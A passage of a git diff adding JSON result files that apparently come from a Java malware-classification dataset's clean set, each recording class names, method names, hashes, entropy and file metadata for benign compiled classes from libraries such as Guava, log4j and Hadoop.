"parent_sha256": "62158a998f43ef1638ee5babfffc99291dfb255393978ddfc0bcf20a14ec8120"}} \ No newline at end of file diff --git a/java_classification/data/clean/6263a1a8555ab6092c48db9141ba974527ce7d5616d1d27715274926e840d46f.results b/java_classification/data/clean/6263a1a8555ab6092c48db9141ba974527ce7d5616d1d27715274926e840d46f.results new file mode 100755 index 0000000..474a460 --- /dev/null +++ b/java_classification/data/clean/6263a1a8555ab6092c48db9141ba974527ce7d5616d1d27715274926e840d46f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DefaultJobHistoryParser.java", "class_name": "org/apache/hadoop/mapred/DefaultJobHistoryParser$FailedOnNodesFilter", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "setFailureType"], "minor_version": 0, "const_pool_count": 39}}, "_id": "a4ed248b-b485-48a3-ad22-b27d10d5eff4", "metadata": {"mimetype": "application/x-java-applet", "sha1": "65c75cf5befb84b6ab06da2b85b36e0f2f94f9af", "file_name": "java_clean/6263a1a8555ab6092c48db9141ba974527ce7d5616d1d27715274926e840d46f", "_id": "a4ed248b-b485-48a3-ad22-b27d10d5eff4", "score": 0, "entropy": 5.22925942730071, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 902, "ssdeep": "24:t7yQuljulMFYGGyElMxTqAGGyxYGGyElMeXrYGGyLktIvTQUYGGykfzRoz:FyFlClMFwlMxTgwlMebnktIvTQUYfzRm", "sha256": "6263a1a8555ab6092c48db9141ba974527ce7d5616d1d27715274926e840d46f", "md5": "2a4ef39cd13b2149d7344d58aba7fb1d", "parent_sha256": "6263a1a8555ab6092c48db9141ba974527ce7d5616d1d27715274926e840d46f"}} \ No newline at end of file diff --git a/java_classification/data/clean/631d284888894a6e2b244884c05dedb55edcdeea761c12240740f5827ba4b199.results b/java_classification/data/clean/631d284888894a6e2b244884c05dedb55edcdeea761c12240740f5827ba4b199.results new file mode 100755 index 0000000..fdf3f3d --- /dev/null +++ b/java_classification/data/clean/631d284888894a6e2b244884c05dedb55edcdeea761c12240740f5827ba4b199.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/launcher/Launcher$40", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "Launcher.java", "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 99}}, "_id": "324762d7-361f-4224-adb8-ff7f2137a94a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "12622982939538ad5c9909b6321e9efe22ee1ae2", "file_name": "java_clean/631d284888894a6e2b244884c05dedb55edcdeea761c12240740f5827ba4b199", "_id": "324762d7-361f-4224-adb8-ff7f2137a94a", "score": 0, "entropy": 5.633034800365898, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1916, "ssdeep": "48:YVEqVhxV7u7zl+VdfMVGR3Vx8dESZRDt/AyVQ1LnPo:Yl547zl+4ACVt/zkA", "sha256": "631d284888894a6e2b244884c05dedb55edcdeea761c12240740f5827ba4b199", "md5": "8e89d7930902055b7ad53b61e65e3836", "parent_sha256": "631d284888894a6e2b244884c05dedb55edcdeea761c12240740f5827ba4b199"}} \ No newline at end of file diff --git a/java_classification/data/clean/6354b9c37bc92ae4e553b260daa0dc954df569aa006a4d9aec80dbd8c0e84341.results b/java_classification/data/clean/6354b9c37bc92ae4e553b260daa0dc954df569aa006a4d9aec80dbd8c0e84341.results new file mode 100755 index 0000000..4479a77 --- /dev/null +++ b/java_classification/data/clean/6354b9c37bc92ae4e553b260daa0dc954df569aa006a4d9aec80dbd8c0e84341.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IMarkerFactory.java", "class_name": "org/slf4j/IMarkerFactory", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 47, "method_names": ["getMarker", "exists", "detachMarker"], "minor_version": 0, "const_pool_count": 12}}, "_id": "a905d6d7-0cb1-41e8-b92c-7c92707af1d2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e065fa26571e6fa336016bb15c05a4bf028df9b6", "file_name": "java_clean/6354b9c37bc92ae4e553b260daa0dc954df569aa006a4d9aec80dbd8c0e84341", "_id": "a905d6d7-0cb1-41e8-b92c-7c92707af1d2", "score": 0, "entropy": 4.960371072242974, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 244, "ssdeep": "6:56aF0ZUXMhQ9YoXMhmZf01iG2s0NfRPc2Bqkk:0agOMudMhmMWdR9Bqkk", "sha256": "6354b9c37bc92ae4e553b260daa0dc954df569aa006a4d9aec80dbd8c0e84341", "md5": "9132892872cb49eb82e6c9409029d1af", "parent_sha256": "6354b9c37bc92ae4e553b260daa0dc954df569aa006a4d9aec80dbd8c0e84341"}} \ No newline at end of file diff --git a/java_classification/data/clean/644eeb4dd5abeac82b3c23adccfa19ec4114364836f5e5486d889d7c28e44b04.results b/java_classification/data/clean/644eeb4dd5abeac82b3c23adccfa19ec4114364836f5e5486d889d7c28e44b04.results new file mode 100755 index 0000000..828e6e2 --- /dev/null +++ b/java_classification/data/clean/644eeb4dd5abeac82b3c23adccfa19ec4114364836f5e5486d889d7c28e44b04.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LoggerRepository.java", "class_name": "org/apache/log4j/spi/LoggerRepository", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["addHierarchyEventListener", "isDisabled", "setThreshold", "setThreshold", "emitNoAppenderWarning", "getThreshold", "getLogger", "getLogger", "getRootLogger", "exists", "shutdown", "getCurrentLoggers", "getCurrentCategories", "fireAddAppenderEvent", "resetConfiguration"], "minor_version": 0, "const_pool_count": 33}}, "_id": "41223236-5fc3-45ed-96fd-f3976dff76e0", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b73f147991a0967f4430f0dc3ff987eabbf20285", "file_name": "java_clean/644eeb4dd5abeac82b3c23adccfa19ec4114364836f5e5486d889d7c28e44b04", "_id": "41223236-5fc3-45ed-96fd-f3976dff76e0", "score": 0, "entropy": 5.126870355823772, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 933, "ssdeep": "24:lhdJPXdv/IpJOT9R/HHnwaAdbEdH22H+MZ:lhd1dv82nwaAREVH3Z", "sha256": "644eeb4dd5abeac82b3c23adccfa19ec4114364836f5e5486d889d7c28e44b04", "md5": "d5db92b3db093e119858cea43303ad3e", "parent_sha256": "644eeb4dd5abeac82b3c23adccfa19ec4114364836f5e5486d889d7c28e44b04"}} \ No newline at end of file diff --git a/java_classification/data/clean/6461eb656358cf782c4efa49615693caed2bb72bff8817b7f060dea32a13b4a0.results b/java_classification/data/clean/6461eb656358cf782c4efa49615693caed2bb72bff8817b7f060dea32a13b4a0.results new file mode 100755 index 0000000..6035a32 --- /dev/null +++ b/java_classification/data/clean/6461eb656358cf782c4efa49615693caed2bb72bff8817b7f060dea32a13b4a0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FormatFactory.java", "class_name": "org/apache/commons/lang/text/FormatFactory", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["getFormat"], "minor_version": 0, "const_pool_count": 9}}, "_id": "f4d0a13e-2f63-4470-b115-9960b638954b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "999c0abe5ff7177a03e5e215a5bafa77777e104e", "file_name": "java_clean/6461eb656358cf782c4efa49615693caed2bb72bff8817b7f060dea32a13b4a0", "_id": "f4d0a13e-2f63-4470-b115-9960b638954b", "score": 0, "entropy": 4.80020444598625, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 233, "ssdeep": "6:IGBrjKGUXM6zXM6TZGpH7TJjNoTdzRPiwl0:NBtOMaM+ZGpHPFmzRbl0", "sha256": "6461eb656358cf782c4efa49615693caed2bb72bff8817b7f060dea32a13b4a0", "md5": "f1eba99ea8d88a931cb81544e1605c74", "parent_sha256": "6461eb656358cf782c4efa49615693caed2bb72bff8817b7f060dea32a13b4a0"}} \ No newline at end of file diff --git a/java_classification/data/clean/66fe8c8dc138ef4ea4fa4db915f126fe10a09b6db72d75737e8ae7a3b5ed4749.results b/java_classification/data/clean/66fe8c8dc138ef4ea4fa4db915f126fe10a09b6db72d75737e8ae7a3b5ed4749.results new file mode 100755 index 0000000..8f6649f --- /dev/null +++ b/java_classification/data/clean/66fe8c8dc138ef4ea4fa4db915f126fe10a09b6db72d75737e8ae7a3b5ed4749.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/DatabaseScreen$16", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "DatabaseScreen.java", "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 76}}, "_id": "940683c6-49a7-4872-8ae9-ee10e1fe9ff2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "3cf123f4d77468d31a7fe81f9cfce1cae4310652", "file_name": "java_clean/66fe8c8dc138ef4ea4fa4db915f126fe10a09b6db72d75737e8ae7a3b5ed4749", "_id": "940683c6-49a7-4872-8ae9-ee10e1fe9ff2", "score": 0, "entropy": 5.418192329385459, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1349, "ssdeep": "24:v7kYso9IQh6ljCVrTcVuwrkGKXk2i33ZXNlu57U+Rp7dv:jV916lgcVrkGPla7n1v", "sha256": "66fe8c8dc138ef4ea4fa4db915f126fe10a09b6db72d75737e8ae7a3b5ed4749", "md5": "2e6d50ce4be54b0c2f78f3b870f2ee4f", "parent_sha256": "66fe8c8dc138ef4ea4fa4db915f126fe10a09b6db72d75737e8ae7a3b5ed4749"}} \ No newline at end of file diff --git a/java_classification/data/clean/6741037d0332991f0be145744da959d4464f643a4f9b6aad798054c93d5ca2e6.results b/java_classification/data/clean/6741037d0332991f0be145744da959d4464f643a4f9b6aad798054c93d5ca2e6.results new file mode 100755 index 0000000..997c2f8 --- /dev/null +++ b/java_classification/data/clean/6741037d0332991f0be145744da959d4464f643a4f9b6aad798054c93d5ca2e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/odlabs/wiquery/ui/slider/SliderRange", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/odlabs/wiquery/core/options/IComplexOption"], "sourcefile": "SliderRange.java", "method_names": ["", "", "", "isBooleanParam", "getRangeEnumParam", "getJavascriptOption", "setBooleanParam", "setRangeEnumParam", "setParam"], "minor_version": 0, "const_pool_count": 76}}, "_id": "f34f4256-a1c6-4fc4-a0bb-8a85e0ad189f", "verbose": {"java": {"constant strings": ["The SliderRange must have one not null parameter"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1d94256442159cf45b21c170044148619872fe3f", "file_name": "java_clean/6741037d0332991f0be145744da959d4464f643a4f9b6aad798054c93d5ca2e6", "_id": "f34f4256-a1c6-4fc4-a0bb-8a85e0ad189f", "score": 0, "entropy": 5.214508854938493, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2114, "ssdeep": "48:bdYW2jSZlXhMXbAAlXP3mbEQ6Pa1CqFZ0eXWqlploucZ:bdflWd44qFmZqlploug", "sha256": "6741037d0332991f0be145744da959d4464f643a4f9b6aad798054c93d5ca2e6", "md5": "22ec1a87a135fb7e65f4a76a30b8f5e6", "parent_sha256": "6741037d0332991f0be145744da959d4464f643a4f9b6aad798054c93d5ca2e6"}} \ No newline at end of file diff --git a/java_classification/data/clean/679d517cda9fdd4b8873b19b508ddbe615e4f3c2ea700b1ad4d62304e52b6a6a.results b/java_classification/data/clean/679d517cda9fdd4b8873b19b508ddbe615e4f3c2ea700b1ad4d62304e52b6a6a.results new file mode 100755 index 0000000..5fd4008 --- /dev/null +++ b/java_classification/data/clean/679d517cda9fdd4b8873b19b508ddbe615e4f3c2ea700b1ad4d62304e52b6a6a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/w3c/dom/html/HTMLModElement", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["org/w3c/dom/html/HTMLElement"], "major_version": 46, "method_names": ["getCite", "setCite", "getDateTime", "setDateTime"], "minor_version": 0, "const_pool_count": 13}}, "_id": "f980c2f1-f935-40fd-8c0e-0773f8f2c240", "metadata": {"mimetype": "application/x-java-applet", "sha1": "94a3ac29a95c3a254c1f131a39052bade092f055", "file_name": "java_clean/679d517cda9fdd4b8873b19b508ddbe615e4f3c2ea700b1ad4d62304e52b6a6a", "_id": "f980c2f1-f935-40fd-8c0e-0773f8f2c240", "score": 0, "entropy": 4.974585752731466, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 246, "ssdeep": "6:MjsYTXMOfR7HoXMmUnAVfzIdBNkiRPBGzIvJizhx:pYbMOfkMmQusDNbRZGsvJiL", "sha256": "679d517cda9fdd4b8873b19b508ddbe615e4f3c2ea700b1ad4d62304e52b6a6a", "md5": "2273df01e44883ea10ff18dd0fed4590", "parent_sha256": "679d517cda9fdd4b8873b19b508ddbe615e4f3c2ea700b1ad4d62304e52b6a6a"}} \ No newline at end of file diff --git a/java_classification/data/clean/67cc8745a90fc32c2e770c3a7402c266a6e6254ae9c1c83646990d97847ab1cf.results b/java_classification/data/clean/67cc8745a90fc32c2e770c3a7402c266a6e6254ae9c1c83646990d97847ab1cf.results new file mode 100755 index 0000000..75bdf14 --- /dev/null +++ b/java_classification/data/clean/67cc8745a90fc32c2e770c3a7402c266a6e6254ae9c1c83646990d97847ab1cf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "InfoScreen.java", "class_name": "hu/openig/screen/items/InfoScreen$BuildingListing", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["", "draw", "maxColumns", "mouse", "selectBuilding", "getItemAt", "access$0"], "minor_version": 0, "const_pool_count": 313}}, "_id": "f6e2d52a-56c8-4604-b306-aebbc8af6f6d", "verbose": {"java": {"signatures": ["Lhu/openig/core/Func1;>;", "Lhu/openig/core/Action1;", "Lhu/openig/core/Action1;"], "constant strings": ["/"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "41d445f4f08ed918027b8b781c6dda50180c6466", "file_name": "java_clean/67cc8745a90fc32c2e770c3a7402c266a6e6254ae9c1c83646990d97847ab1cf", "_id": "f6e2d52a-56c8-4604-b306-aebbc8af6f6d", "score": 0, "entropy": 5.8844552134258725, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6608, "ssdeep": "96:U6lw5bFPgSD1k+cw5Gym+uwC2yvaZtScdPJPbGpd8RKNuBe9xrQxAZKOegu:XlIRD1kgmaC2y+ScdPZbU8KNuA9B9guu", "sha256": "67cc8745a90fc32c2e770c3a7402c266a6e6254ae9c1c83646990d97847ab1cf", "md5": "bedfdafe995db2bbc6af30264ff7f9ff", "parent_sha256": "67cc8745a90fc32c2e770c3a7402c266a6e6254ae9c1c83646990d97847ab1cf"}} \ No newline at end of file diff --git a/java_classification/data/clean/681a4a1a34706f8506f9404b8987be3d16258d3dd7e2d33fb967af3bd9c80faf.results b/java_classification/data/clean/681a4a1a34706f8506f9404b8987be3d16258d3dd7e2d33fb967af3bd9c80faf.results new file mode 100755 index 0000000..2cff8d1 --- /dev/null +++ b/java_classification/data/clean/681a4a1a34706f8506f9404b8987be3d16258d3dd7e2d33fb967af3bd9c80faf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/SingleplayerScreen$5", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "SingleplayerScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 46}}, "_id": "c4af9256-e4bf-4466-b001-f59811f40be2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ef1909a1a4bcdecd29884e13c156e0bc50bcfb56", "file_name": "java_clean/681a4a1a34706f8506f9404b8987be3d16258d3dd7e2d33fb967af3bd9c80faf", "_id": "c4af9256-e4bf-4466-b001-f59811f40be2", "score": 0, "entropy": 5.259876123279146, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 926, "ssdeep": "24:kuE/Ow4RauEGulU9ljaIuXRAMuipVsj9E/AQZO:sOqrU9lsRbf/A+O", "sha256": "681a4a1a34706f8506f9404b8987be3d16258d3dd7e2d33fb967af3bd9c80faf", "md5": "2e321cf813adda77e5a7eee3b96b8b4d", "parent_sha256": "681a4a1a34706f8506f9404b8987be3d16258d3dd7e2d33fb967af3bd9c80faf"}} \ No newline at end of file diff --git a/java_classification/data/clean/6820af1b89dc9e2ea4c805a19e01092cd6953218817ad0847faae7cff8990623.results b/java_classification/data/clean/6820af1b89dc9e2ea4c805a19e01092cd6953218817ad0847faae7cff8990623.results new file mode 100755 index 0000000..427f35b --- /dev/null +++ b/java_classification/data/clean/6820af1b89dc9e2ea4c805a19e01092cd6953218817ad0847faae7cff8990623.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/primitives/UnsignedBytes$LexicographicalComparatorHolder$UnsafeComparator$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedAction"], "sourcefile": "UnsignedBytes.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 65}}, "_id": "cf826da6-b704-4599-80fc-ca853d79b056", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Ljava/security/PrivilegedAction;"], "constant strings": ["theUnsafe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "86ba08e33ad7fc91fab4025b1853729862cf2d5c", "file_name": "java_clean/6820af1b89dc9e2ea4c805a19e01092cd6953218817ad0847faae7cff8990623", "_id": "cf826da6-b704-4599-80fc-ca853d79b056", "score": 0, "entropy": 5.38505158562511, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1565, "ssdeep": "24:WMyQuljBYhw7NkHnQsq5jVj9shwNqzAhwpw1whwRzlfAijZiLDhK:WMyFltYykHQs+sgq8jwazlfJcLo", "sha256": "6820af1b89dc9e2ea4c805a19e01092cd6953218817ad0847faae7cff8990623", "md5": "aa1ae9f0425b1ccac1ed9e7232418f5b", "parent_sha256": "6820af1b89dc9e2ea4c805a19e01092cd6953218817ad0847faae7cff8990623"}} \ No newline at end of file diff --git a/java_classification/data/clean/68e40d4aac9597eca75c1c5e950e1f9ce692c41308e8186dc148e37f3889f01e.results b/java_classification/data/clean/68e40d4aac9597eca75c1c5e950e1f9ce692c41308e8186dc148e37f3889f01e.results new file mode 100755 index 0000000..1256677 --- /dev/null +++ b/java_classification/data/clean/68e40d4aac9597eca75c1c5e950e1f9ce692c41308e8186dc148e37f3889f01e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SpacewarWorld.java", "class_name": "hu/openig/model/SpacewarWorld", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 50, "method_names": ["battle", "structures", "structures", "enemiesOf", "enemiesOf", "enemiesInRange", "random", "flee", "facing", "move", "attack", "stop", "guard", "space", "includeFleet", "addStructures", "landingPlace", "random"], "minor_version": 0, "const_pool_count": 48}}, "_id": "c30745c1-9750-4cab-95dc-f0bfccc1beb0", "verbose": {"java": {"signatures": ["()Ljava/util/List;", "(Lhu/openig/model/Player;)Ljava/util/List;", "(Lhu/openig/model/SpacewarStructure;)Ljava/util/List;", "(Lhu/openig/model/Player;)Ljava/util/List;", "(Lhu/openig/model/SpacewarStructure;)Ljava/util/List;", "(Ljava/util/List;)TT;", "(Ljava/lang/Iterable;Ljava/util/EnumSet;)V"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ec61fadf25ad129305c1d6a26635e977f006c0ef", "file_name": "java_clean/68e40d4aac9597eca75c1c5e950e1f9ce692c41308e8186dc148e37f3889f01e", "_id": "c30745c1-9750-4cab-95dc-f0bfccc1beb0", "score": 0, "entropy": 5.232115645475364, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1582, "ssdeep": "24:bQvebJCis/duCi2Bo2CQKcIRDYRD0IkOeiJiluNTRX5jxUAJ0BDH7I:bQvysV6Wo8esRgRF29Vxf0tbI", "sha256": "68e40d4aac9597eca75c1c5e950e1f9ce692c41308e8186dc148e37f3889f01e", "md5": "55cd9074595213c6ff8ebb24ef0fa76c", "parent_sha256": "68e40d4aac9597eca75c1c5e950e1f9ce692c41308e8186dc148e37f3889f01e"}} \ No newline at end of file diff --git a/java_classification/data/clean/6a30ec696fb513a01ed85c8c96de8c66171489963631c2371a9a590bbea2e7eb.results b/java_classification/data/clean/6a30ec696fb513a01ed85c8c96de8c66171489963631c2371a9a590bbea2e7eb.results new file mode 100755 index 0000000..cd36fe9 --- /dev/null +++ b/java_classification/data/clean/6a30ec696fb513a01ed85c8c96de8c66171489963631c2371a9a590bbea2e7eb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Multisets$UnmodifiableMultiset", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Multisets.java", "method_names": ["", "delegate", "createElementSet", "elementSet", "entrySet", "iterator", "add", "add", "addAll", "remove", "remove", "removeAll", "retainAll", "clear", "setCount", "setCount", "delegate", "delegate"], "minor_version": 0, "const_pool_count": 120}}, "_id": "f86040fb-453a-4612-b636-7eda7028bac5", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/Multiset<+TE;>;", "Ljava/util/Set;", "Ljava/util/Set;>;", "(Lcom/google/common/collect/Multiset<+TE;>;)V", "()Lcom/google/common/collect/Multiset;", "()Ljava/util/Set;", "()Ljava/util/Set;", "()Ljava/util/Set;>;", "()Ljava/util/Iterator;", "(TE;)Z", "(TE;I)I", "(Ljava/util/Collection<+TE;>;)Z", "(Ljava/util/Collection<*>;)Z", "(Ljava/util/Collection<*>;)Z", "(TE;I)I", "(TE;II)Z", "Lcom/google/common/collect/ForwardingMultiset;Ljava/io/Serializable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7d1461b9c09eba93b73436e5989c9271f77170f9", "file_name": "java_clean/6a30ec696fb513a01ed85c8c96de8c66171489963631c2371a9a590bbea2e7eb", "_id": "f86040fb-453a-4612-b636-7eda7028bac5", "score": 0, "entropy": 4.923009480950087, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4292, "ssdeep": "48:LIPlQx+7Baf3rmBgHkVHwNqnZ3O4V3xlnjrWWEm1Q2uA82k+a4iPwuGaLiG68YWE:LQlQxsBw9ktwWZ3tbjrPeNjMOjTjM", "sha256": "6a30ec696fb513a01ed85c8c96de8c66171489963631c2371a9a590bbea2e7eb", "md5": "2b1028b3ef918e170b3fd0d66f2ac261", "parent_sha256": "6a30ec696fb513a01ed85c8c96de8c66171489963631c2371a9a590bbea2e7eb"}} \ No newline at end of file diff --git a/java_classification/data/clean/6a71bb3ac50e26d37f480bb38f55661aef795291076be9fc4208a6e66b2abd97.results b/java_classification/data/clean/6a71bb3ac50e26d37f480bb38f55661aef795291076be9fc4208a6e66b2abd97.results new file mode 100755 index 0000000..22333d7 --- /dev/null +++ b/java_classification/data/clean/6a71bb3ac50e26d37f480bb38f55661aef795291076be9fc4208a6e66b2abd97.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Button.java", "class_name": "hu/openig/core/Button", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 50, "method_names": ["", "paintTo", "getWidth", "getHeight", "test", "onEnter", "onLeave", "onPressed", "onReleased"], "minor_version": 0, "const_pool_count": 52}}, "_id": "c144dc72-92d4-436b-81e0-c142b5778c75", "metadata": {"mimetype": "application/x-java-applet", "sha1": "4edc2a4d0664f7161669a33eae824282db51b748", "file_name": "java_clean/6a71bb3ac50e26d37f480bb38f55661aef795291076be9fc4208a6e66b2abd97", "_id": "c144dc72-92d4-436b-81e0-c142b5778c75", "score": 0, "entropy": 5.05792772611175, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 868, "ssdeep": "24:0l31oxhyEGvDAljrYseoUME0uapS+6GRASCyWSgdj:OFUhyEGvDAlMBMzpS+6GLfwj", "sha256": "6a71bb3ac50e26d37f480bb38f55661aef795291076be9fc4208a6e66b2abd97", "md5": "908904a65d3b4e200f14abb4ea199825", "parent_sha256": "6a71bb3ac50e26d37f480bb38f55661aef795291076be9fc4208a6e66b2abd97"}} \ No newline at end of file diff --git a/java_classification/data/clean/6add6b2faec2cbfcb8ebbd959dd7770c177c9e62ab6bdcca934ec2f7b3960765.results b/java_classification/data/clean/6add6b2faec2cbfcb8ebbd959dd7770c177c9e62ab6bdcca934ec2f7b3960765.results new file mode 100755 index 0000000..c2bec82 --- /dev/null +++ b/java_classification/data/clean/6add6b2faec2cbfcb8ebbd959dd7770c177c9e62ab6bdcca934ec2f7b3960765.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LONegative.java", "class_name": "org/apache/pig/impl/logicalLayer/LONegative", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "getSchema", "getFieldSchema", "visit", "name", "visit"], "minor_version": 0, "const_pool_count": 121}}, "_id": "86a93138-eab0-4b61-a171-d8b1f2e3e4ba", "verbose": {"java": {"constant strings": ["Negative ", "-"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b7d9fbad6ae15c00f95c46313f24e1577da8dfbf", "file_name": "java_clean/6add6b2faec2cbfcb8ebbd959dd7770c177c9e62ab6bdcca934ec2f7b3960765", "_id": "86a93138-eab0-4b61-a171-d8b1f2e3e4ba", "score": 0, "entropy": 5.218948954413106, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2714, "ssdeep": "48:MAIJ1g9A0l6+B35GGEKAaAgcdqUu8ASyh1A3+nNGy/yzUoesXOZCAgXI1M0AfFtB:z8m9A0l6q35GG5DcdqUu87yh1A3+nNG5", "sha256": "6add6b2faec2cbfcb8ebbd959dd7770c177c9e62ab6bdcca934ec2f7b3960765", "md5": "c7938c264122e8e2235ccea6e178208b", "parent_sha256": "6add6b2faec2cbfcb8ebbd959dd7770c177c9e62ab6bdcca934ec2f7b3960765"}} \ No newline at end of file diff --git a/java_classification/data/clean/6bcdf62768035bf9d7713d12b7a1d90933936081c0b1debd6d7699a8624add8a.results b/java_classification/data/clean/6bcdf62768035bf9d7713d12b7a1d90933936081c0b1debd6d7699a8624add8a.results new file mode 100755 index 0000000..41d8dc7 --- /dev/null +++ b/java_classification/data/clean/6bcdf62768035bf9d7713d12b7a1d90933936081c0b1debd6d7699a8624add8a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FilterBuilder.java", "class_name": "org/reflections/util/FilterBuilder$Matcher", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["", "apply", "toString", "apply"], "minor_version": 0, "const_pool_count": 44}}, "_id": "aa0dc207-756d-4e48-9e0c-b17258820825", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e50ca67ab33821e6c04db076e51476431597a324", "file_name": "java_clean/6bcdf62768035bf9d7713d12b7a1d90933936081c0b1debd6d7699a8624add8a", "_id": "aa0dc207-756d-4e48-9e0c-b17258820825", "score": 0, "entropy": 5.122848350496436, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 910, "ssdeep": "12:MgaTXAhhSMXulPsou+q3g/MOPMlhIMOFlStR8A7M+q6YqaE2AVTMlAuaH7MXMylI:8kfuljh41oEysbMXJx+8myZm", "sha256": "6bcdf62768035bf9d7713d12b7a1d90933936081c0b1debd6d7699a8624add8a", "md5": "4528af555049b07c0b99a8bbb03b1eb3", "parent_sha256": "6bcdf62768035bf9d7713d12b7a1d90933936081c0b1debd6d7699a8624add8a"}} \ No newline at end of file diff --git a/java_classification/data/clean/6ca0a7748fa8fa0514a1b10095e5c9f6e68a8b8a359fce1caf3834a4d7377448.results b/java_classification/data/clean/6ca0a7748fa8fa0514a1b10095e5c9f6e68a8b8a359fce1caf3834a4d7377448.results new file mode 100755 index 0000000..3b282ee --- /dev/null +++ b/java_classification/data/clean/6ca0a7748fa8fa0514a1b10095e5c9f6e68a8b8a359fce1caf3834a4d7377448.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/EquipmentScreen$3", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "EquipmentScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 40}}, "_id": "ef29ab33-a9cc-4d76-a1cb-c493a1ead002", "metadata": {"mimetype": "application/x-java-applet", "sha1": "128049ba3496345d505830223a529324feb37a3f", "file_name": "java_clean/6ca0a7748fa8fa0514a1b10095e5c9f6e68a8b8a359fce1caf3834a4d7377448", "_id": "ef29ab33-a9cc-4d76-a1cb-c493a1ead002", "score": 0, "entropy": 5.16658417305489, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 841, "ssdeep": "24:bujOwuuPj9uoU9ljCVu4F9uXa5DkomJ8WI:SjO8PgoU9lB1qkocI", "sha256": "6ca0a7748fa8fa0514a1b10095e5c9f6e68a8b8a359fce1caf3834a4d7377448", "md5": "cb11951c5ada34b0def28de71fef3905", "parent_sha256": "6ca0a7748fa8fa0514a1b10095e5c9f6e68a8b8a359fce1caf3834a4d7377448"}} 